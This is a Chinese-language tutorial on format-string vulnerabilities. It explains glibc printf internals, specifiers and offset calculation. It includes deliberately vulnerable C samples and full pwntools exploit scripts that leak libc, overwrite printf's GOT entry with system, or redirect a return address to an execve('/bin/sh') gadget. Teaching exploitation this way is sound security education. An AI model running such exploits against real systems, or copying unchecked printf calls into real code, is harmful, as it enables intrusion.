利用程序直接对用户可控制的数据格式化,让用户可以利用格式化字符串达到任意地址读写
因为格式化字符串的参数在栈中,所以尽管无法写,也可以从栈中获取些有用的信息
格式化详解
printf
实际执行的是位于stdio-common/vfprintf-internal.c
文件中的vfprintf函数
在vfprintf
中会按照占位符的顺序输出字符串,但如果占位符中存在$
就会执行printf_positional
函数
在printf_positional
函数中会先将 字符串 中所有占位符都搜索出来,储存在数组中,然后遍历数组根据占位符类型输出字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
|
static JUMP_TABLE_TYPE step0_jumps[30] = { REF (form_unknown), REF (flag_space), REF (flag_plus), REF (flag_minus), REF (flag_hash),
REF (flag_zero), REF (flag_quote), REF (width_asterics), REF (width),
REF (precision),
REF (mod_half), REF (mod_long), REF (mod_longlong), REF (mod_size_t), REF (form_percent), REF (form_integer), REF (form_unsigned), REF (form_octal), REF (form_hexa),
REF (form_float),
REF (form_character), REF (form_string), REF (form_pointer), REF (form_number), REF (form_strerror), REF (form_wcharacter), REF (form_floathex), REF (mod_ptrdiff_t), REF (mod_intmax_t), REF (flag_i18n), };
static inline int done_add_func (size_t length, int done) { if (done < 0) return done; int ret; if (INT_ADD_WRAPV (done, length, &ret)) { __set_errno (EOVERFLOW); return -1; } return ret; }
|
数据宽度 | 作用 |
---|
h | 将数据作为short 类型处理 |
hh | 将数据作为char 类型处理 |
l | 将数据作为long 类型处理 |
q/L | 将数据作为long long 类型处理 |
z/Z | 通过size_t 判断,将数据作为long 类型处理还是以long long 类型处理 |
标志 | 作用 |
---|
space | 使用空格作为填充符号 |
+ | 在正数的前面添加+ 输入时输入+ 可以省略一个值的输入 |
- | 右对齐(默认左对齐) 输入时输入- 可以省略一个值的输入 |
# | 与x/X 组合表示以0x??? 的形式输出,与g/G 组合表示不省略小数结尾的0 |
0 | 表示使用0作为填充符号(仅右对齐时有效) |
* | 将参数中最前面的整数作为输出数据的最小长度 (最大为2147483647 ) |
0~9 | 将字符串转换后的整数作为输出数据的最小长度 代码中使用int类型储存数值,所以最大为2147483647 这表示在64位程序中无法一次性修改8字节 |
$ | 通过$ 前的数字获取参数的索引值,用于指定占位符处理的数据 |
. | .数字 用来指定浮点数精度 或 字符串输出的最大长度 |
类型 | 作用 |
---|
x | 将无符号整型以全小写十六进制的形式输入输出 |
X | 将无符号整型以全大写十六进制的形式输入输出 |
o | 将无符号整型以八进制的形式输入输出 |
u | 将无符号整型以十进制的形式输入输出 |
d | 将有符号整型以十进制的形式输入输出 |
i | 输入输出有符号整型(将开头为0的数字识别为八进制,将开头为0x的数字识别为十六进制) |
f | 以定点数表示法输出浮点数 (当浮点数 为 无限浮点数时输出inf ,当 浮点数 无法作为数字处理时输出nan ) |
F | 以定点数表示法输出浮点数 (当浮点数 为 无限浮点数时输出INF ,当 浮点数 无法作为数字处理时输出NAN ) |
e | 以指数表示法输出浮点数 (当浮点数 为 无限浮点数时输出inf ,当 浮点数 无法作为数字处理时输出nan ) |
E | 以指数表示法全大写输出浮点数 (当浮点数 为 无限浮点数时输出INF ,当 浮点数 无法作为数字处理时输出NAN ) |
g | 自动选择使用定点数或指数输出浮点数(效果为f 和e 的结合体) |
G | 自动选择使用定点数或指数输出浮点数(效果为F 和E 的结合体) |
a | 以十六进制的形式全小写输出浮点数(当小数为无限小数时输出inf ,当小数无法作为数字处理时输出nan ) |
A | 以十六进制的形式全大写输出浮点数(当小数为无限小数时输出INF ,当小数无法作为数字处理时输出NAN ) |
s | 输出指定地址中的数据 (以\x00 截断) 输入时以空格 或\n 为截断 |
S | 输出指定地址中的数据 (以\x00 或无法识别的数值截断),输入时以空格 或\n 为截断,每四字节为一个字符输入输出 |
p | 以十六进制的形式输出 地址/整数 (当 地址/整数为 0 时输出 (nil) ) |
c | 以字符的形式输入输出数据 |
n | 将已经输出的数据长度 写入指定地址 |
==== | ============================================================================= |
使用 f/F/e/E/g/G 输入 都可以识别 定点数表示法 和 指数表示法
计算偏移
-> x86_64
—> 通过 (需要使用的地址-调用printf时的rsp)/8+6 获得
—> 因为printf参数中除第一个为需要格式化的字符串,其他都是参数,
—> 如果要获取rsi,rdx,rcx,r8,r9寄存器的值就使用 0 < s < 6
的偏移
-> x86
—> 通过 (需要使用的地址-调用printf时的esp)/4 获得
通过n
进行任意写,通过s
进行任意地址读,通过p
获取栈中的数据
栈中格式化字符串
在栈中的格式化字符串比较简单,因为可以通过字符串中的地址,达到任意地址读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include<stdio.h> #include<stdlib.h> int main(){ char a[0x100]=""; do{ scanf("%s",a); if (!strncmp(a,"exit",4)){ exit(0); } printf(a); printf("\n"); }while(1); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| """exp思路 因为 main 函数是由 __libc_start_main 函数调用, 那么在栈中就一定存在 __libc_start_main 函数的地址, 通过获取 __libc_start_main 函数的地址可以获取到 libc的基地址 , 然后通过基地址获取 system 函数的地址, 再设置程序 got表 中 printf 项的值为 system 函数地址, 这样每次在执行 printf 函数时就会执行 system 函数 """
""" %41$p 计算过程 去除寄存器占用的 5 个参数, 那么字符串开头的偏移为 %6$p, 因为main函数的栈占用 0x110 字节, 再加上 push rbp ,所占用的 8 字节, 格式化的字符串开头到 __libc_start_main 之间 0x118 字节的数据, 所以 __libc_start_main 函数地址的偏移就为 0x118/8+6=41 """
from pwn import * e=ELF('./pwn_format',checksec=False) libc=ELF('./libc-2.33.so',checksec=False) p=process('./pwn_format') printf_got=e.got['printf'] print(hex(printf_got)) p.sendline('%41$p') libc.address=int(p.read(),16)-libc.sym['__libc_start_main']-213 print(hex(libc.address)) system=libc.sym['system'] data=p64(system) fs={} n=[0,1,2,3,4,5,6,7] i=7 while i>-1: fs[i]=ord(data[i]) payload=b'a'*0x60+b'a'*8*i+p64(printf_got+i)[:-1] p.sendline(payload) i=i-1 """ 构造栈,使栈中存有 printf.got~printf.got+7 这八个地址 """ n.sort(key=lambda d:fs[d]) payload='' i=0 while i<8: if fs[n[i]]==0: payload+='%'+str(18+n[i])+'$hhn' else: if fs[n[i]]-fs[n[i-1]]==0: payload+='%'+str(18+n[i])+'$hhn' else: payload+='%'+str(fs[n[i]]-fs[n[i-1]])+'c%'+str(18+n[i])+'$hhn' i=i+1 """ 这里是按照 system函数地址中每个字节所表示的数值,从小到大排列,防止修改时互相干扰 一般格式化字符串修改的数据宽度尽量要小, 因为数据宽度越大,表示在此之前输出的长度越长, 可能会导致将payload发送到靶机之后, 本地窗口一直在获取靶机中输出的内容, 这种情况非常浪费时间 """ p.sendline(payload) p.interactive()
|
非栈中格式化字符串
堆中的格式化字符串比较麻烦
需要的条件为栈中存在 a 指向 b ,且b只有低四字节与a不同,
这时可以通过a修改b,然后利用b,在栈中创建一个指向某个区域的地址,
以此来达到任意地址读写
一般存在两次函数调用操作时可以达到条件如 函数a调用函数b;函数b调用函数c
但 __libc_start_main 调用main,main调用某个函数除外,
因为__libc_start_main到main函数时储存在栈中的rbp/ebp为0,无法组成链表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include<stdio.h> #include<stdlib.h> int vuln(char *b){ scanf("%40s",b); if (!strncmp(b,"exit",4)){ return 1; } printf(b); printf("nonono\n"); return 0; } int func(){ char *b=(char*)malloc(0x40);; do{ if (vuln(b)==1){ break; } }while(1); } int main(){ setvbuf(stdout,0,2,0); setvbuf(stdin,0,1,0); setvbuf(stderr,0,2,0); char a[0x20]=""; printf("input username:"); scanf("%20s",a); printf(a); printf("'s password:"); func(); }
|
先通过多个 %p 泄露栈中的数据,用来查找可以利用的地址
这个样例符合条件,其中main
函数调用func
函数,func
函数调用vuln
函数
这样在栈中 至少保存了main
函数的rbp
与func
函数的rbp
而func
函数的rbp
指向的地址储存的是main
函数的rbp
的值
刚好形成一个链表
在这个样例中,因为可以利用栈达到任意地址读写,做法也就多种多样了
这里演示了控制返回地址为gadget
获取shell
,还可以通过设置got表
调用system
函数
第一种
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| """exp思路 因为是在栈中,可以控制函数的返回地址 这个攻击代码中,设置main函数返回地址为 libc中调用execve("/bin/sh")的代码地址 还要把储存__libc_start_main函数rbp指针的位置写入新的rbp 而且这个rbp一定要大于 rsp且处于可写地址,否则会导致程序报错中断 """ from pwn import * for gadget in [0xde78c,0xde78f,0xde792]: libc=ELF('./libc-2.33.so',checksec=False) e=ELF('./pwn_format',checksec=False) p=process('./pwn_format') libc_ind=13 p.read() p.sendline('%'+str(libc_ind)+'$p') c=int(p.readuntil('\'s',drop=1),16) print(hex(c))
libc.address=c-213-libc.sym['__libc_start_main'] sind=8 eind=12 p.readuntil('password:') p.sendline('%{}$p.%{}$p'.format(sind,eind)) data=p.read()[:-7].split('.') s1=int(data[0],16) s2=int(data[1],16) print(hex(s1),hex(s2))
ori=s2&0xff ret=ori one_gadget=p64(libc.address+gadget) data=p64(s1+0x200)+one_gadget print(hex(libc.address+gadget)) i=0 while i<16: payload='%{}c%{}$hhn'.format(ret+i,sind) p.sendline(payload) if ord(data[i])==0: payload='%{}$hhn'.format(eind) else: payload='%{}c%{}$hhn'.format(ord(data[i]),eind) p.sendline(payload) i=i+1 payload='%{}c%{}$hhn'.format(ori,sind) p.sendline(payload) p.interactive()
|
第二种
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| """exp思路 因为 printf 函数与 system 函数属于同一个 libc,所以两个函数的真实地址也相近, 想要将printf改成system 函数,只需要修改低两个字节, 所以我们将 printf.got 与 printf.got+2 写入栈中 然后再 将 printf.got 中储存的低四字节替换为 system函数地址 的低四字节 """ from pwn import * libc=ELF('./libc-2.33.so',checksec=False) e=ELF('./pwn_format',checksec=False) p=process('./pwn_format') libc_ind=13 p.read() p.sendline('%'+str(libc_ind)+'$p') c=int(p.readuntil('\'s',drop=1),16) print(hex(c))
libc.address=c-213-libc.sym['__libc_start_main'] printf_got=e.got['printf'] system=libc.sym['system'] sind=8 eind=12 p.readuntil('password:') p.sendline('%{}$p.%{}$p'.format(sind,eind)) data=p.read()[:-7].split('.') s1=int(data[0],16) s2=int(data[1],16) print(hex(s1),hex(s2))
ori=s2&0xff ret=ori data=p64(printf_got)+p64(printf_got+2) i=0 while i<16: payload='%{}c%{}$hhn'.format(ret+i,sind) p.sendline(payload) if ord(data[i])==0: payload='%{}$hhn'.format(eind) else: payload='%{}c%{}$hhn'.format(ord(data[i]),eind) p.sendline(payload) i=i+1 payload='%{}c%{}$hhn'.format(ori,sind) p.sendline(payload)
e={0:system&0xffff,1:((system&0xffff0000)>>16)} n=[0,1] n.sort(key=lambda d:e[d])
payload='%{}c%{}$hn%{}c%{}$hn'.format(e[n[0]],20+n[0],e[n[1]]-e[n[0]],20+n[1]) print(payload) p.sendline(payload)
p.interactive()
|